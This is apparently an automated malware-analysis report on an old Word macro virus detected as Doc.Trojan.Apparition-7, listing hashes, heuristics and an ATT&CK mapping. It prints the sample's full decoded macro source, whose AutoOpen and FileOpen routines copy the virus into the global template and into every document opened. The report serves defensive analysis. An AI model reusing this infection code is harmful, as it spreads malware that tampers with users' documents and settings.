Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0020519889d3e1a…

MALICIOUS

Office (OLE)

34.5 KB Created: 2001-12-08 05:16:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d5fe1ac11375083db71781f15c1526f8 SHA-1: 0fed05f52377bca35951b6b24a6ea37466b05f5f SHA-256: d0020519889d3e1a4411091b13decb41fcb5796c2327b1bb54fd755020169209
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Microsoft Word document containing a VBA macro. The AutoOpen macro is present, which is a common technique for automatically executing malicious code upon document opening. The script attempts to copy several macros, including 'WWUpdated', 'AutoOp', and 'FileOpen', to global or document-specific locations, suggesting an attempt to establish persistence or ensure execution. The presence of 'Doc.Trojan.Apparition-7' from ClamAV further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Apparition-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Apparition-7
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2023 bytes
SHA-256: 365c18a5bf1d11383c438dee17a944a3612a0ccf59f7eddd9e24ba1a32c712ce
Detection
ClamAV: Doc.Trojan.Apparition-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WWUpdated"

Public Sub MAIN()
'Presence of AVP for winword
'AVP for Winword is a nice tutorial
'(C) 2 Rats Soft.
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Dim Copyright$
Dim AVPcopyright$
Dim gnoi
Dim iCountMacros
Dim i
Dim zu$
Copyright$ = "Co-Copyright (cc) Lord Asd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg

gnoi = 0
iCountMacros = WordBasic.CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = WordBasic.[MacroName$](i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then GoTo fail
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Global:AutoOp", WordBasic.[FileName$]() + ":AutoOpen", 1
WordBasic.MacroCopy "Global:WWUpdated", WordBasic.[FileName$]() + ":WWUpdated", 1
WordBasic.MacroCopy "Global:FileOpen", WordBasic.[FileName$]() + ":DaniloffMuDaK", 1

fail:
End Sub

Attribute VB_Name = "AutoOp"

Public Sub MAIN()
Dim hru
Dim j
Dim i
On Error GoTo -1: On Error GoTo fail
hru = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
 If WordBasic.[MacroName$](i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then GoTo fail

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOp", 1
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WWUpdated", "Global:WWUpdated", 1
WordBasic.MacroCopy WordBasic.[FileName$]() + ":DaniloffMuDaK", "Global:FileOpen", 1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
WordBasic.FileSaveAll
fail:
End Sub

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